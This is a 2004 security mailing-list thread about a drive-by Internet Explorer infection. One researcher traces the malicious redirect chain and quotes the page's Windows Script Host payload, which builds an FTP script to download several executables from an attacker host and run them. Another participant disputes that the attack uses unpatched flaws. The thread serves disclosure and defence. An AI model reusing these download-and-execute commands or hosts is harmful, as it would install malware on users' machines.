[Full-Disclosure] RE: Still Vulnerable in MSIE

From: Jelmer (jkuperus_at_planet.nl)
Date: 05/15/04

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    To: "'Thor Larholm'" <thor@pivx.com>, "'Greg Kujawa'" <greg.kujawa@diamondcellar.com>, bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
    Date: Sat, 15 May 2004 22:18:44 +0200
    
    

    While that is undoubtedly an impressive collection of nastiness all of the
    issues you have amassed none of these pages, affected my fully patches IE6
    nor should they since they have been patched quite some time ago as you are
    probably well aware.

    Yet somehow after composing a list of all these old and patched
    vulnerabilities this site exploited, you manage to reach the astounding
    conclusion that it uses several remaining unpatched vulnerabilities.

    Can you present evidence to support that claim?

    To me it sound like a lot of FUD spread by a company that has much to gain
    from spreading it. That said the site in question now no longer presents
    these popups so there might have been stuff going on that Thor didn't write
    up.

    -----Original Message-----
    From: Thor Larholm [mailto:thor@pivx.com]
    Sent: zaterdag 15 mei 2004 0:45
    To: Greg Kujawa; bugtraq@securityfocus.com
    Subject: RE: Still Vulnerable in MSIE

    Nothing new here, it's just one of the remaining IE vulnerabilities that
    are not yet patched. If I dare allow a small product pitch, the publicly
    available version of Qwik-Fix ( http://qwik-fix.net ) has protected
    against threats such as this for more than half a year now, without
    requiring any signature updates (since there are no need for
    signatures).

    This is not the first time that spyware has mixed with vulnerabilities,
    exploits and worms. Spyware is increasingly becoming a corporate
    liability, Robert Mitchell recently did a feature story on this at
    http://www.computerworld.com/securitytopics/security/story/0,10801,92784
    ,00.html

    The high of IE vulnerabilities on my Unpatched list was 32, right now we
    are at about 12 that still have no patches. There's continuously new
    research being posted to the Unpatched mailing list (
    http://unpatched.pivxlabs.com ) on topics such as this spyware/worm
    threat.

    Anyway, back to hnc3k.com - there is obviously a lot happening on all of
    these popups, and quite a number of IE exploits are being exploited. A
    hint of caution, don't go to any of these pages without Qwik-Fix on your
    machine, they contain malicious code which will execute on your system
    if it does not have adequate protection. Another hint of caution, don't
    panic if your AV labels this email as being naughty just because I
    mention specific dirty words.

    One of the pages that try to exploit IE vulnerabilities is at

    http://65.17.207.40/framepb_1u.php

    which redirects to

    http://si1.default-homepage-network.com/180/180.htm?si-001

    which redirects to

    http://object.passthison.com/vu083003/object.cgi?si1

    which uses the Object Data vulnerability to change your startpage to

    http://default-homepage-network.com/start.cgi?hkcu

    the parameter at the end is either HKCU or HKLM depending on what
    registry branch lead you there. This serves to notify
    default-homepage-network whether your machine has been compromised with
    user or administrator privileges

    start.cgi also opens a few popup windows with advertisements, after
    which it opens the following page

    http://default-homepage-network.com/newspynotice.html

    that wants to sell you a cure against spyware which hijacks your start
    page - as theirs just did.

    That page also secretly opens

    http://object.passthison.com/vu083003/newobject1.cgi
    http://69.50.139.61/hp1/hp1.htm
    http://www.achtungachtung.com/0021/index.php

    newobject1.cgi executes the following commands through the Windows
    Script Host object:

    wsh.Run('command /C echo open
    downloads.default-homepage-network.com>o',false,6);
    wsh.Run('command /C echo tmpacct>>o',false,6);
    wsh.Run('command /C echo 12345>>o',false,6);
    wsh.Run('command /C echo bin>>o',false,6);
    wsh.Run('command /C echo get install2.exe>>o',false,6);
    wsh.Run('command /C echo get infamous_downloader.exe>>o',false,6);
    wsh.Run('command /C echo get 0021-bdl94126.EXE>>o',false,6);
    wsh.Run('command /C echo get CS4P028.exe>>o',false,6);
    wsh.Run('command /C echo bye>>o',false,6);
    wsh.Run('command /C echo if not exist %windir%\statuslog ftp -s:o
    >o.bat',false,6);
    wsh.Run('command /C echo if exist install2.exe install2.exe
    >>o.bat',false,6);
    wsh.Run('command /C echo if exist infamous_downloader.exe
    infamous_downloader.exe >>o.bat',false,6);
    wsh.Run('command /C echo if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
    >>o.bat',false,6);
    wsh.Run('command /C echo if exist CS4P028.exe CS4P028.exe
    >>o.bat',false,6);
    wsh.Run('command /C o.bat',false,6);

    Hp1.htm tries to exploit the Ibiza MHTML/CHM vulnerability to launch
    http://69.50.139.61/hp1/HP1.chm::/hp1.htm

    framepb_1u.php also tries to open http://69.50.139.61/hp2/hp2.htm which
    uses Ibiza to launch http://69.50.139.61/hp2/hp2.chm::/hp2.htm

    Other files that are attempted to be delivered are

    http://www.addictivetechnologies.net/DM0/cab/emCraft1.cab
    http://www.addictivetechnologies.net/DM0/exe/emCraft1.exe
    http://validation-required.info/
    http://www.popmoney.net/ip/index.php
    http://www.portalone.hostance.com.com/italia.exe

    Regards

    Thor Larholm
    Senior Security Researcher
    PivX Solutions
    24 Corporate Plaza #180
    Newport Beach, CA 92660
    http://www.pivx.com
    thor@pivx.com
    Stock symbol: (PIVX)
    Phone: +1 (949) 231-8496
    PGP: 0x5A276569
    6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569

    PivX defines a new genre in Desktop Security: Proactive Threat
    Mitigation.
    <http://www.pivx.com/qwikfix>

    -----Original Message-----
    From: Greg Kujawa [mailto:greg.kujawa@diamondcellar.com]
    Sent: Friday, May 14, 2004 7:37 AM
    To: bugtraq@securityfocus.com
    Subject: Still Vulnerable in MSIE

    With the latest vendor AV definitions and all of the Microsoft Security
    Updates my MSIE 6 application still was vulnerable to some apparent
    cross-site scripting exploit. I was hit with one of the many Agobot
    variants when exiting a site detailing some IE vulnerabilities
    (http://www.hnc3k.com). The site exit led to a series of pop-up and
    pop-under ads.

    All of these site redirects apparently resulted in a www2.flingstone.com
    site dropping in a infamous.exe file onto my computer. All the while I
    saw no prompts to download or execute anything whatsoever. All I did was
    close the windows that were coming up.

    Just an FYI since even the latest updates on all fronts cannot ensure
    peace of mind.

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